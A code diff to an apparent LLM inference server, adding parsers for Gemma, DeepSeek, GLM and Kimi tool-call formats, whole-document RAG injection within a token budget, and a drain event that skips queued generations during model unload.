+    """Parse a quote-less Gemma arg body ``key:value, key2:value2`` (the
+    ``skip_special_tokens`` stream with ``<|"|>`` markers removed). Each value runs
+    to the next top-level ``, key:`` boundary, tracking ``{}``/``[]``/``()`` depth so
+    commas/braces inside a ``code`` / ``command`` value aren't truncated."""
+    out: dict[str, Any] = {}
+    i, n = 0, len(body)
+    while i < n:
+        m = _GEMMA_KEY_RE.match(body, i)
+        if not m:
+            break
+        key = m.group(1)
+        i = m.end()
+        vstart = i
+        depth = 0
+        quote = ""
+        # Contextual quote openers mirror _gemma_body_brace_end.
+        prev = ":"
+        prev_raw = ":"
+        while i < n:
+            ch = body[i]
+            if quote:
+                # A ``, key:`` shape inside the quoted string is not a boundary.
+                if ch == "\\" and i + 1 < n:
+                    i += 2
+                    continue
+                if ch == quote:
+                    quote = ""
+            elif ch in "\"'" and (prev in ":{[(,=" or (ch == '"' and prev_raw.isspace())):
+                quote = ch
+            elif ch in "{[(":
+                depth += 1
+            elif ch in "}])":
+                if depth > 0:
+                    depth -= 1
+            elif ch == "," and depth == 0 and _GEMMA_KEY_RE.match(body, i + 1):
+                break
+            if not ch.isspace():
+                prev = ch
+            prev_raw = ch
+            i += 1
+        raw_val = body[vstart:i].strip()
+        if raw_val[:1] in "{[":
+            # Nested object/array: accept only a fully consumed, closed parse; a
+            # truncated/malformed value falls back to the raw string.
+            parsed, end, closed = _gemma_parse_value(raw_val, 0)
+            out[key] = (
+                _gemma_strip_quoted_leaves(parsed)
+                if (closed and end == len(raw_val))
+                else _gemma_coerce_scalar(raw_val)
+            )
+        else:
+            out[key] = _gemma_coerce_scalar(raw_val)
+        if i < n and body[i] == ",":
+            i += 1
+    return out
+
+
+def _gemma_parse_mapping(text: str, start: int):
+    """Parse a Gemma ``{key:value, ...}`` mapping at ``text[start] == '{'`` in one
+    forward pass; returns ``(dict, next_index, closed)`` (``closed`` True iff the
+    matching ``}`` was reached)."""
+    out: dict[str, Any] = {}
+    i, n = start + 1, len(text)
+    while i < n:
+        while i < n and text[i] in " \t\n\r,":
+            i += 1
+        if i < n and text[i] == "}":
+            return out, i + 1, True
+        if i >= n:
+            break
+        if text.startswith(_GEMMA_STR_BEGIN, i):
+            close = text.find(_GEMMA_STR_END, i + len(_GEMMA_STR_BEGIN))
+            if close < 0:
+                break
+            key = text[i + len(_GEMMA_STR_BEGIN) : close]
+            i = close + len(_GEMMA_STR_END)
+        else:
+            kstart = i
+            while i < n and text[i] not in ":}":
+                i += 1
+            key = text[kstart:i].strip()
+        while i < n and text[i] in " \t\n\r":
+            i += 1
+        if i < n and text[i] == ":":
+            i += 1
+        while i < n and text[i] in " \t\n\r":
+            i += 1
+        if i >= n:
+            out[key] = None
+            break
+        if text[i] == "}":
+            out[key] = None
+            return out, i + 1, True
+        v, i, _closed = _gemma_parse_value(text, i, in_mapping = True)
+        out[key] = v
+    return out, i, False
+
+
+# ── DeepSeek R1 / V3 / V3.1 ─────────────────────────────────────────
+
+
+def _find_outside_json_strings(text: str, needle: str, start: int) -> int:
+    """Index of ``needle`` at/after ``start`` OUTSIDE any JSON string, or -1: a
+    marker inside an argument string must not be taken as the structural terminator."""
+    i = start
+    n = len(text)
+    in_string = False
+    esc = False
+    while i < n:
+        ch = text[i]
+        if in_string:
+            if esc:
+                esc = False
+            elif ch == "\\":
+                esc = True
+            elif ch == '"':
+                in_string = False
+            i += 1
+            continue
+        if ch == '"':
+            in_string = True
+            i += 1
+            continue
+        if text.startswith(needle, i):
+            return i
+        i += 1
+    return -1
+
+
+def _parse_deepseek_tool_calls(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """DeepSeek R1 / V3 / V3.1.
+
+    R1:    ``<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>NAME\\n``\\`\\`\\`json\\n{...}\\n\\`\\`\\`<｜tool▁call▁end｜>...``
+    V3.x:  ``<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>NAME<｜tool▁sep｜>{json}<｜tool▁call▁end｜>...``
+
+    Mirrors llama.cpp's pre-autoparser ``common_chat_parse_deepseek_r1`` /
+    ``_v3_1`` handling; tolerates the 5 opener variants llama.cpp keeps.
+    """
+    out: list[dict] = []
+    begin = _DEEPSEEK_BEGIN_RE.search(content)
+    if not begin:
+        return out
+    scan_start = begin.end()
+    # Envelope end OUTSIDE JSON strings: an argument may contain the literal end token,
+    # and a raw find would truncate the call.
+    end_pos = _find_outside_json_strings(content, _DEEPSEEK_END, scan_start)
+    # Strict mode: an unclosed envelope is truncated; reject, don't heal to EOF.
+    if not allow_incomplete and end_pos < 0:
+        return out
+    scan_end = end_pos if end_pos >= 0 else len(content)
+    body = content[scan_start:scan_end]
+
+    # R1 path first: ``function<｜tool▁sep｜>NAME\n```json\n{...}\n```<｜tool▁call▁end｜>``.
+    pos = 0
+    while pos < len(body):
+        fpos = body.find(_DEEPSEEK_R1_FUNC_MARKER, pos)
+        if fpos < 0:
+            break
+        name_start = fpos + len(_DEEPSEEK_R1_FUNC_MARKER)
+        nl = body.find("\n", name_start)
+        if nl < 0:
+            break
+        if not body.startswith(_DEEPSEEK_R1_FENCE, nl):
+            pos = name_start
+            continue
+        name = body[name_start:nl].strip()
+        json_start = nl + len(_DEEPSEEK_R1_FENCE)
+        # Walk a balanced ``{`` even if the trailing fence is truncated.
+        if json_start >= len(body) or body[json_start] != "{":
+            pos = json_start
+            continue
+        brace_end = _balanced_brace_end(body, json_start)
+        if brace_end is None:
+            break
+        try:
+            args = json.loads(body[json_start : brace_end + 1])
+        except (json.JSONDecodeError, ValueError):
+            pos = brace_end + 1
+            continue
+        if not isinstance(args, dict):
+            pos = brace_end + 1
+            continue
+        # The closing fence + <｜tool▁call▁end｜> must IMMEDIATELY follow the JSON, else an
+        # unbounded search lands on a LATER call's terminator. Absent close: heal past the
+        # JSON (strict rejects); later well-formed calls are still kept.
+        after = brace_end + 1
+        while after < len(body) and body[after] in " \t\r\n":
+            after += 1
+        close_m = _DEEPSEEK_R1_CLOSE_RE.match(body, after)
+        if not allow_incomplete and close_m is None:
+            pos = brace_end + 1
+            continue
+        if name:
+            out.append(
+                {
+                    "id": f"call_{id_offset + len(out)}",
+                    "type": "function",
+                    "function": {
+                        "name": name,
+                        "arguments": json.dumps(args),
+                    },
+                }
+            )
+        pos = close_m.end() if close_m else brace_end + 1
+    if out:
+        return out
+
+    # V3 / V3.1: name then bare JSON. Use ``str.find`` for the sep marker and walk
+    # back for the name (a ``[^\n<]+`` regex search is O(N^2) on truncated bodies).
+    pos = 0
+    while pos < len(body):
+        sep_pos = body.find(_DEEPSEEK_SEP, pos)
+        if sep_pos < 0:
+            break
+        # Walk left from sep_pos to the name start; stop at ``\n`` (turn boundary), ``<``
+        # (tag start), or ``>`` (end of an optional ``<｜tool▁call▁begin｜>``).
+        name_start = sep_pos
+        while name_start > pos and body[name_start - 1] not in "\n<>":
+            name_start -= 1
+        name = body[name_start:sep_pos].strip()
+        json_start = sep_pos + len(_DEEPSEEK_SEP)
+        while json_start < len(body) and body[json_start] in " \t\n\r":
+            json_start += 1
+        if json_start >= len(body) or body[json_start] != "{":
+            pos = sep_pos + len(_DEEPSEEK_SEP)
+            continue
+        brace_end = _balanced_brace_end(body, json_start)
+        if brace_end is None:
+            break
+        # Strict mode: a real V3 call closes with the per-call <｜tool▁call▁end｜>; without
+        # it the call is truncated/merged, so skip it but keep scanning for a later
+        # well-formed call (matches Kimi strict).
+        if not allow_incomplete:
+            after = brace_end + 1
+            while after < len(body) and body[after] in " \t\r\n":
+                after += 1
+            if not body.startswith(_DEEPSEEK_CALL_END, after):
+                pos = brace_end + 1
+                continue
+        try:
+            args = json.loads(body[json_start : brace_end + 1])
+        except (json.JSONDecodeError, ValueError):
+            pos = brace_end + 1
+            continue
+        if not isinstance(args, dict):
+            pos = brace_end + 1
+            continue
+        if name:
+            out.append(
+                {
+                    "id": f"call_{id_offset + len(out)}",
+                    "type": "function",
+                    "function": {
+                        "name": name,
+                        "arguments": json.dumps(args),
+                    },
+                }
+            )
+        # Advance just past the JSON; seeking the optional <｜tool▁call▁end｜> could land on
+        # a LATER call's end marker and skip the call between.
+        pos = brace_end + 1
+    return out
+
+
+# ── GLM 4.5 / 4.6 / 4.7 ─────────────────────────────────────────────
+
+
+def _parse_glm_tool_calls(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """GLM 4.5 / 4.6 / 4.7.
+
+    ``<tool_call>NAME[\\n]<arg_key>K</arg_key>[\\n]<arg_value>V</arg_value>
+    ...</tool_call>``. Multi-call is back-to-back blocks, no envelope.
+    Mirrors llama.cpp's GLM 4.x tool-call handling (``common_chat_params_init_glm_4_5``
+    plus its generalized XML-style parser, llama.cpp PRs #15904 / #16932).
+    """
+    out: list[dict] = []
+    pos = 0
+    while pos < len(content):
+        m = _GLM_TC_OPEN_RE.search(content, pos)
+        if not m:
+            break
+        name = m.group(1).strip()
+        apos = m.end()  # absolute position in ``content``; advances past each pair
+
+        args: dict[str, Any] = {}
+        valid = True
+        close = -1
+        # Walk arg pairs directly against ``content``: a value may contain a literal
+        # </tool_call>, so the real close is the </tool_call> before the next <arg_key>.
+        # ``str.find`` keeps this linear.
+        while True:
+            ks = content.find(_GLM_ARG_KEY_OPEN, apos)
+            tc = content.find(_GLM_TC_CLOSE, apos)
+            if tc >= 0 and (ks < 0 or tc < ks):
+                close = tc
+                break
+            if ks < 0:
+                break  # no close and no more keys -- truncated body
+            ke = content.find(_GLM_ARG_KEY_CLOSE, ks + len(_GLM_ARG_KEY_OPEN))
+            if ke < 0:
+                break
+            vstart = ke + len(_GLM_ARG_KEY_CLOSE)
+            while vstart < len(content) and content[vstart] in " \t\r\n":
+                vstart += 1
+            if not content.startswith(_GLM_ARG_VAL_OPEN, vstart):
+                # Key without <arg_value>: strict rejects the call; Auto-Heal skips it.
+                if not allow_incomplete:
+                    valid = False
+                apos = ke + len(_GLM_ARG_KEY_CLOSE)
+                continue
+            vs = vstart + len(_GLM_ARG_VAL_OPEN)
+            # A first-match find on </arg_value> would truncate values containing literal
+            # close tags and execute corrupted arguments.
+            ve = _glm_value_close(content, vs, strict = not allow_incomplete)
+            key = content[ks + len(_GLM_ARG_KEY_OPEN) : ke].strip()
+            if ve < 0:
+                # Unclosed <arg_value>: strict rejects the whole call; Auto-Heal keeps the
+                # partial value (a truncated query is not a no-arg call).
+                if not allow_incomplete:
+                    valid = False
+                    break
+                # Bound the healed value at the next structural tag, not EOF, so a value
+                # missing only its </arg_value> can't swallow the markup after it.
+                nk = content.find(_GLM_ARG_KEY_OPEN, vs)
+                tc = content.find(_GLM_TC_CLOSE, vs)
+                bounds = [b for b in (nk, tc) if b >= 0]
+                if not bounds:
+                    args[key] = content[vs:].rstrip()
+                    break
+                bound = min(bounds)
+                args[key] = content[vs:bound].rstrip()
+                apos = bound
+                continue
+            raw_val = content[vs:ve]
+            apos = ve + len(_GLM_ARG_VAL_CLOSE)
+            # Decode only unambiguous JSON literals; else keep the value RAW so whitespace
+            # in string args survives (matches vLLM glm4_moe). ``"`` is left out of the
+            # probe: a verbatim string's quotes are meaningful.
+            probe = raw_val.strip()
+            if (
+                probe[:1] in "{["
+                or probe in ("true", "false", "null")
+                or _GLM_JSON_NUMERIC_RE.fullmatch(probe)
+            ):
+                try:
+                    args[key] = json.loads(probe)
+                    continue
+                except (json.JSONDecodeError, ValueError):
+                    pass
+            args[key] = raw_val
+
+        # Strict mode: a block with no </tool_call> is truncated; reject it.
+        if not allow_incomplete and close < 0:
+            valid = False
+
+        if name and valid:
+            out.append(
+                {
+                    "id": f"call_{id_offset + len(out)}",
+                    "type": "function",
+                    "function": {
+                        "name": name,
+                        "arguments": json.dumps(args),
+                    },
+                }
+            )
+        pos = close + len(_GLM_TC_CLOSE) if close >= 0 else len(content)
+    return out
+
+
+# ── Kimi K2 / Moonshot ──────────────────────────────────────────────
+
+
+def _parse_kimi_tool_calls(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """Kimi K2.
+
+    ``<|tool_calls_section_begin|><|tool_call_begin|>functions.NAME:IDX
+    <|tool_call_argument_begin|>{json}<|tool_call_end|>...
+    <|tool_calls_section_end|>``. Full id is preserved on ``tool_calls
+    [i].id`` for round-trip through the chat template. Outer loop walks
+    every section in the stream (vLLM / SGLang parity); mirrors llama.cpp's
+    Kimi K2 handling via its generalized XML-style parser (llama.cpp PR #16932).
+    """
+    out: list[dict] = []
+    outer_pos = 0
+    while True:
+        section_start = content.find(_KIMI_SECTION_BEGIN, outer_pos)
+        if section_start < 0:
+            break
+        scan_start = section_start + len(_KIMI_SECTION_BEGIN)
+        # Section end OUTSIDE JSON strings: an argument may contain the literal end token,
+        # and a raw find would drop the later valid call.
+        section_end = _find_outside_json_strings(content, _KIMI_SECTION_END, scan_start)
+        scan_end = section_end if section_end >= 0 else len(content)
+        body = content[scan_start:scan_end]
+        # Truncated tail: parse what we have, then exit. In strict mode a section with no
+        # <|tool_calls_section_end|> is truncated; reject it instead.
+        if section_end < 0:
+            if allow_incomplete:
+                out.extend(
+                    _parse_kimi_section_body(
+                        body, id_offset = id_offset + len(out), allow_incomplete = True
+                    )
+                )
+            return out
+        outer_pos = section_end + len(_KIMI_SECTION_END)
+        out.extend(
+            _parse_kimi_section_body(
+                body, id_offset = id_offset + len(out), allow_incomplete = allow_incomplete
+            )
+        )
+
+    # The section wrapper is optional (llama.cpp): a bare <|tool_call_begin|> call parses
+    # as one section when the loop matched nothing.
+    if not out and _KIMI_CALL_BEGIN in content:
+        out.extend(
+            _parse_kimi_section_body(
+                content, id_offset = id_offset, allow_incomplete = allow_incomplete
+            )
+        )
+    return out
+
+
+def _parse_kimi_section_body(
+    body: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """Parse one Kimi K2 section body (between begin / end markers)."""
+    out: list[dict] = []
+    pos = 0
+    while pos < len(body):
+        call_start = body.find(_KIMI_CALL_BEGIN, pos)
+        if call_start < 0:
+            break
+        id_start = call_start + len(_KIMI_CALL_BEGIN)
+        arg_begin = body.find(_KIMI_ARG_BEGIN, id_start)
+        if arg_begin < 0:
+            break
+        full_id = body[id_start:arg_begin].strip()
+        m = _KIMI_ID_RE.match(full_id)
+        if m:
+            # group(1) is the whole name; do NOT split on ``.`` -- a dotted MCP name stays intact.
+            name = m.group(1)
+        else:
+            base = full_id.split(":")[0]
+            name = base[len("functions.") :] if base.startswith("functions.") else base
+        # Drop bare-counter ids (``3``, ``42``) -- matches vLLM; SGLang infers the name
+        # from the tool schema, which we don't have here.
+        if name.isdigit():
+            json_start = arg_begin + len(_KIMI_ARG_BEGIN)
+            brace_end = (
+                _balanced_brace_end(body, json_start)
+                if (json_start < len(body) and body[json_start] == "{")
+                else None
+            )
+            if brace_end is None:
+                pos = arg_begin + len(_KIMI_ARG_BEGIN)
+            else:
+                pos = brace_end + 1
+            continue
+        json_start = arg_begin + len(_KIMI_ARG_BEGIN)
+        # Balanced brace lets a truncated trailing end marker still surface a call.
+        while json_start < len(body) and body[json_start] in " \t\n\r":
+            json_start += 1
+        if json_start >= len(body) or body[json_start] != "{":
+            pos = arg_begin + len(_KIMI_ARG_BEGIN)
+            continue
+        brace_end = _balanced_brace_end(body, json_start)
+        if brace_end is None:
+            # Malformed / truncated JSON: skip this call but keep parsing later ones
+            # instead of dropping the rest of the section (vLLM recovers them).
+            nxt = body.find(_KIMI_CALL_BEGIN, json_start)
+            if nxt < 0:
+                break
+            pos = nxt
+            continue
+        try:
+            args = json.loads(body[json_start : brace_end + 1])
+        except (json.JSONDecodeError, ValueError):
+            pos = brace_end + 1
+            continue
+        if not isinstance(args, dict):
+            pos = brace_end + 1
             continue
         if not allow_incomplete:
-            tail_after_json = content[i + 1 :].lstrip()
-            if _TC_END_TAG_RE.match(tail_after_json) is None:
+            # Strict mode: this call must close with <|tool_call_end|> before the next
+            # <|tool_call_begin|>; otherwise it is truncated, so reject it.
+            end_marker = body.find(_KIMI_CALL_END, brace_end + 1)
+            next_call = body.find(_KIMI_CALL_BEGIN, brace_end + 1)
+            if end_marker < 0 or (next_call >= 0 and end_marker > next_call):
+                pos = brace_end + 1
                 continue
-        json_str = content[brace_start : i + 1]
-        try:
-            obj = json.loads(json_str)
-            tc = {
-                "id": f"call_{id_offset + len(tool_calls)}",
-                "type": "function",
-                "function": {
-                    "name": obj.get("name", ""),
-                    "arguments": obj.get("arguments", {}),
-                },
-            }
-            if isinstance(tc["function"]["arguments"], dict):
-                tc["function"]["arguments"] = json.dumps(tc["function"]["arguments"])
-            tool_calls.append(tc)
-        except (json.JSONDecodeError, ValueError):
-            pass
-
-    # Pattern 2: <function=name><parameter=k>v... -- closing tags optional;
-    # </function> isn't a body boundary since code values can contain it.
-    if not tool_calls:
-        func_starts = [
-            fm
-            for fm in _TC_FUNC_START_RE.finditer(content)
-            if not _inside_open_parameter(content, fm.start())
-        ]
-        for idx, fm in enumerate(func_starts):
-            func_name = fm.group(1)
-            body_start = fm.end()
-            next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content)
-            end_tag = _TC_END_TAG_RE.search(content[body_start:])
-            if end_tag:
-                body_end = body_start + end_tag.start()
-            else:
-                body_end = len(content)
-            body_end = min(body_end, next_func)
-            body = content[body_start:body_end]
-            if not allow_incomplete:
-                # Bound the body at the closing </function> tag rather than
-                # the end of the response, so a complete call followed by
-                # trailing prose is still accepted (matching the JSON-style
-                # <tool_call> path, which already tolerates trailing text).
-                # rfind picks the last </function>, so a literal </function>
-                # inside a code parameter value stays in the body.
-                close_idx = body.rfind(_FUNC_CLOSE_TAG)
-                if close_idx < 0:
-                    continue
-                body = body[:close_idx]
-            else:
-                body = _TC_FUNC_CLOSE_RE.sub("", body)
-
-            arguments: dict = {}
-            param_starts = list(_TC_PARAM_START_RE.finditer(body))
-            if len(param_starts) == 1:
-                # Single param: take everything to body end so an embedded
-                # </parameter> in code strings is preserved.
-                pm = param_starts[0]
-                val = body[pm.end() :]
-                if not allow_incomplete:
-                    stripped_val = val.rstrip()
-                    if not stripped_val.endswith(_PARAM_CLOSE_TAG):
-                        continue
-                    val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
-                else:
-                    val = _TC_PARAM_CLOSE_RE.sub("", val)
-                arguments[pm.group(1)] = val.strip()
-            else:
-                valid_params = True
-                for pidx, pm in enumerate(param_starts):
-                    param_name = pm.group(1)
-                    val_start = pm.end()
-                    next_param = (
-                        param_starts[pidx + 1].start()
-                        if pidx + 1 < len(param_starts)
-                        else len(body)
-                    )
-                    val = body[val_start:next_param]
-                    if not allow_incomplete:
-                        stripped_val = val.rstrip()
-                        if not stripped_val.endswith(_PARAM_CLOSE_TAG):
-                            valid_params = False
-                            break
-                        val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
-                    else:
-                        val = _TC_PARAM_CLOSE_RE.sub("", val)
-                    arguments[param_name] = val.strip()
-                if not valid_params:
-                    continue
-
-            tc = {
-                "id": f"call_{id_offset + len(tool_calls)}",
-                "type": "function",
-                "function": {
-                    "name": func_name,
-                    "arguments": json.dumps(arguments),
-                },
-            }
-            tool_calls.append(tc)
-
-    return tool_calls
-
-
-def has_tool_signal(text: str) -> bool:
-    """Return True if ``text`` contains any tool-call XML signal."""
-    return any(s in text for s in TOOL_XML_SIGNALS)
+        if name:
+            out.append(
+                {
+                    "id": full_id or f"call_{id_offset + len(out)}",
+                    "type": "function",
+                    "function": {
+                        "name": name,
+                        "arguments": json.dumps(args),
+                    },
+                }
+            )
+        # Advance past the JSON; seeking <|tool_call_end|> could skip a following call
+        # when this one's end marker is missing.
+        pos = brace_end + 1
+    return out
diff --git a/studio/backend/core/inference/tools.py b/studio/backend/core/inference/tools.py
index a5c193ff39..82c50933fc 100644
--- a/studio/backend/core/inference/tools.py
+++ b/studio/backend/core/inference/tools.py
@@ -1121,6 +1121,61 @@ def _autoinject_top_k() -> int:
     return _AUTOINJECT_DEFAULT_TOP_K
 
 
+def _thread_whole_doc_enabled(scope: dict) -> bool:
+    """Whether a thread-attached file should be injected in full rather than
+    retrieved top-K. ``rag_scope.whole_doc=False`` disables it for this request."""
+    override = scope.get("whole_doc")
+    if override is False:
+        return False
+    try:
+        from core.rag import config as _rag_config
+    except Exception:  # noqa: BLE001
+        return True
+    return _rag_config.THREAD_WHOLE_DOC
+
+
+_IMAGE_PART_TOKEN_ESTIMATE = 1024
+
+
+def _message_token_estimate(conversation: list[dict]) -> int:
+    """Cheap prompt-size estimate for budget guards; exact tokenization happens later."""
+    total = 0
+    for msg in conversation:
+        content = msg.get("content")
+        if isinstance(content, str):
+            total += max(1, len(content) // 4)
+        elif isinstance(content, list):
+            for part in content:
+                if isinstance(part, dict):
+                    if part.get("type") in ("image_url", "input_image"):
+                        total += _IMAGE_PART_TOKEN_ESTIMATE
+                    else:
+                        total += max(1, len(str(part.get("text") or "")) // 4)
+        total += 4  # chat-template role / separator overhead estimate
+    return total
+
+
+def _whole_doc_budget(scope: dict | None = None, conversation: list[dict] | None = None) -> int:
+    try:
+        from core.rag import config as _rag_config
+    except Exception:  # noqa: BLE001
+        budget = 6000
+    else:
+        budget = _rag_config.WHOLE_DOC_MAX_TOKENS
+    if not scope:
+        return budget
+    context = _opt_int(scope.get("context_length") or scope.get("max_context_tokens"))
+    if context is None or context <= 0:
+        return budget
+    headroom = _opt_int(scope.get("response_headroom"))
+    if headroom is None:
+        headroom = max(1024, context // 4)
+    used = _message_token_estimate(conversation or [])
+    # Leave room for tool XML wrappers, citation metadata, and chat-template overhead.
+    available = context - headroom - used - 512
+    return min(budget, max(0, available))
+
+
 def _last_user_text(conversation: list[dict]) -> str:
     """Plain text of the most recent user turn (text parts only)."""
     for msg in reversed(conversation):
@@ -1154,7 +1209,11 @@ def build_rag_autoinject(conversation: list[dict], rag_scope: dict | None) -> di
     enabled = rag_scope.get("autoinject")
     if enabled is None:
         enabled = _autoinject_enabled()
-    if not enabled:
+    thread_id = rag_scope.get("thread_id")
+    whole_doc_requested = (
+        bool(thread_id) and not rag_scope.get("kb_id") and _thread_whole_doc_enabled(rag_scope)
+    )
+    if not enabled and not whole_doc_requested:
         return None
     query = _last_user_text(conversation)
     if not query:
@@ -1163,35 +1222,81 @@ def build_rag_autoinject(conversation: list[dict], rag_scope: dict | None) -> di
         from storage import rag_db
         if not rag_db.RAG_AVAILABLE:
             return None
-        from core.rag.tool import search_for_autoinject
+        from core.rag.tool import render_sources, search_for_autoinject, whole_document_context
     except Exception as exc:  # noqa: BLE001
         logger.warning("RAG auto-inject unavailable: %s", exc)
         return None
 
+    text: str | None = None
+    sources: list[dict] = []
+
     floor_override = rag_scope.get("autoinject_min_score")
     floor = float(floor_override) if floor_override is not None else _autoinject_floor()
     # Cap at the lean top_k, but honor a lower user setting.
     lean_k = _autoinject_top_k()
     sidebar_k = _opt_int(rag_scope.get("default_top_k"))
     top_k = min(sidebar_k, lean_k) if sidebar_k is not None else lean_k
-    try:
-        found = search_for_autoinject(
-            query = query,
-            scope_kb_id = rag_scope.get("kb_id"),
-            scope_thread_id = rag_scope.get("thread_id"),
-            scope_project_id = rag_scope.get("project_id"),
-            top_k = top_k,
-            min_dense_score = floor,
-            **_scope_retrieval_kwargs(rag_scope),
-        )
-    except Exception as exc:  # noqa: BLE001
-        logger.warning("RAG auto-inject retrieval failed: %s", exc)
-        return None
-    if not found:
-        logger.info("RAG auto-inject: no passage >= %.2f; skipping", floor)
+
+    # Whole-document mode: a thread-attached file under budget is injected in full so
+    # the model reads everything. A KB selection is exclusive, so whole-doc never
+    # preempts it; in a project chat the project sources are still retrieved top-K and
+    # appended under one citation numbering. Oversized files (or no thread doc) fall
+    # through to the combined top-K retrieval below.
+    if whole_doc_requested:
+        try:
+            budget = _whole_doc_budget(rag_scope, conversation)
+
+            whole = whole_document_context(
+                scope_thread_id = thread_id,
+                max_tokens = budget,
+            )
+        except Exception as exc:  # noqa: BLE001
+            logger.warning("RAG whole-document context failed: %s", exc)
+            whole = None
+        if whole is not None:
+            text, sources = whole
+            project_id = rag_scope.get("project_id")
+            if project_id:
+                try:
+                    proj = search_for_autoinject(
+                        query = query,
+                        scope_project_id = project_id,
+                        top_k = top_k,
+                        min_dense_score = floor,
+                        **_scope_retrieval_kwargs(rag_scope),
+                    )
+                except Exception as exc:  # noqa: BLE001
+                    logger.warning("RAG project retrieval (whole-doc companion) failed: %s", exc)
+                    proj = None
+                if proj is not None:
+                    merged = sources + proj[1]
+                    merged_text = render_sources(merged)
+                    if max(1, len(merged_text) // 4) <= budget:
+                        sources = merged
+                        text = merged_text
+            logger.info("RAG auto-inject: whole-document context (%d chunk(s))", len(sources))
+
+    if text is None and enabled:
+        try:
+            found = search_for_autoinject(
+                query = query,
+                scope_kb_id = rag_scope.get("kb_id"),
+                scope_thread_id = rag_scope.get("thread_id"),
+                scope_project_id = rag_scope.get("project_id"),
+                top_k = top_k,
+                min_dense_score = floor,
+                **_scope_retrieval_kwargs(rag_scope),
+            )
+        except Exception as exc:  # noqa: BLE001
+            logger.warning("RAG auto-inject retrieval failed: %s", exc)
+            return None
+        if not found:
+            logger.info("RAG auto-inject: no passage >= %.2f; skipping", floor)
+            return None
+        text, sources = found
+    if text is None:
         return None
 
-    text, sources = found
     import json as _json
     import uuid as _uuid
 
@@ -1236,7 +1341,7 @@ def build_rag_autoinject(conversation: list[dict], rag_scope: dict | None) -> di
             "content": text,
         },
     ]
-    logger.info("RAG auto-inject: %d passage(s) >= %.2f for %r", len(sources), floor, query[:80])
+    logger.info("RAG auto-inject: %d passage(s) for %r", len(sources), query[:80])
     return {"events": events, "messages": messages}
 
 
diff --git a/studio/backend/core/inference/worker.py b/studio/backend/core/inference/worker.py
index 4e27183d88..d4b102e422 100644
--- a/studio/backend/core/inference/worker.py
+++ b/studio/backend/core/inference/worker.py
@@ -406,6 +406,32 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None:
         )
 
 
+def _drain_skip_generate(cmd: dict, resp_queue: Any, drain_event) -> bool:
+    """Skip a generate queued behind a cancelled one during an unload.
+
+    The parent sets ``drain_event`` for the whole unload. Because the parent's
+    per-token ``cancel_event`` is cleared at the start of every generate, a cancel
+    set while this generate was still queued would otherwise be lost when it is
+    dequeued. If the drain is in effect, emit an immediate (empty) ``gen_done`` so
+    the parent's stream/mailbox drains fast and the switch stays fast, and report
+    the generate was skipped so the caller does not clear the cancel or run it.
+    """
+    if drain_event is None or not drain_event.is_set():
+        return False
+    request_id = cmd.get("request_id", "")
+    logger.info("Skipping generate for request %s: unload draining", request_id)
+    _send_response(
+        resp_queue,
+        {
+            "type": "gen_done",
+            "request_id": request_id,
+            "cancelled": True,
+            "stats": None,
+        },
+    )
+    return True
+
+
 def _handle_generate(backend, cmd: dict, resp_queue: Any, cancel_event) -> None:
     """Handle a generate command: stream tokens back via resp_queue.
 
@@ -431,6 +457,7 @@ def _handle_generate(backend, cmd: dict, resp_queue: Any, cancel_event) -> None:
             "min_p": cmd.get("min_p", 0.0),
             "max_new_tokens": cmd.get("max_new_tokens", 256),
             "repetition_penalty": cmd.get("repetition_penalty", 1.0),
+            "presence_penalty": cmd.get("presence_penalty", 0.0),
             "cancel_event": cancel_event,
         }
 
@@ -632,7 +659,14 @@ def _handle_unload(backend, cmd: dict, resp_queue: Any) -> None:
         )
 
 
-def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, config: dict) -> None:
+def run_inference_process(
+    *,
+    cmd_queue: Any,
+    resp_queue: Any,
+    cancel_event,
+    config: dict,
+    drain_event = None,
+) -> None:
     """Subprocess entrypoint. Persistent — runs the command loop until shutdown.
 
     Args:
@@ -640,6 +674,10 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
         resp_queue: mp.Queue for sending responses to parent.
         cancel_event: mp.Event the parent sets to cancel generation.
         config: Initial configuration dict with model info.
+        drain_event: mp.Event the parent sets for the duration of an unload. Unlike
+            cancel_event (cleared at the start of every generate), it is never cleared
+            here, so a generate still queued behind a cancelled one is skipped rather
+            than run — the cancel survives the queue handoff.
     """
     os.environ["TOKENIZERS_PARALLELISM"] = "false"
     os.environ["PYTHONWARNINGS"] = "ignore"  # Suppress warnings at C-level before imports
@@ -715,7 +753,16 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
             cmd_type = cmd.get("type", "")
             try:
                 if cmd_type == "generate":
+                    if _drain_skip_generate(cmd, resp_queue, drain_event):
+                        continue
                     cancel_event.clear()
+                    # Re-check the drain after clearing: the parent sets drain_event
+                    # then cancel_event for an unload, so if that pair landed between
+                    # the check above and this clear, the clear just erased the unload's
+                    # cancel. Skip here so the outgoing model is not run to completion,
+                    # which would stall the switch until the dispatcher idle-timeout.
+                    if _drain_skip_generate(cmd, resp_queue, drain_event):
+                        continue
                     _handle_generate(backend, cmd, resp_queue, cancel_event)
                 elif cmd_type == "load":
                     if backend.active_model_name:
@@ -918,7 +965,16 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
 
         try:
             if cmd_type == "generate":
+                if _drain_skip_generate(cmd, resp_queue, drain_event):
+                    continue
                 cancel_event.clear()
+                # Re-check the drain after clearing: the parent sets drain_event then
+                # cancel_event for an unload, so if that pair landed between the check
+                # above and this clear, the clear just erased the unload's cancel. Skip
+                # here so the outgoing model is not run to completion, which would stall
+                # the switch until the dispatcher idle-timeout tears the subprocess down.
+                if _drain_skip_generate(cmd, resp_queue, drain_event):
+                    continue
                 _handle_generate(backend, cmd, resp_queue, cancel_event)
 
             elif cmd_type == "load":
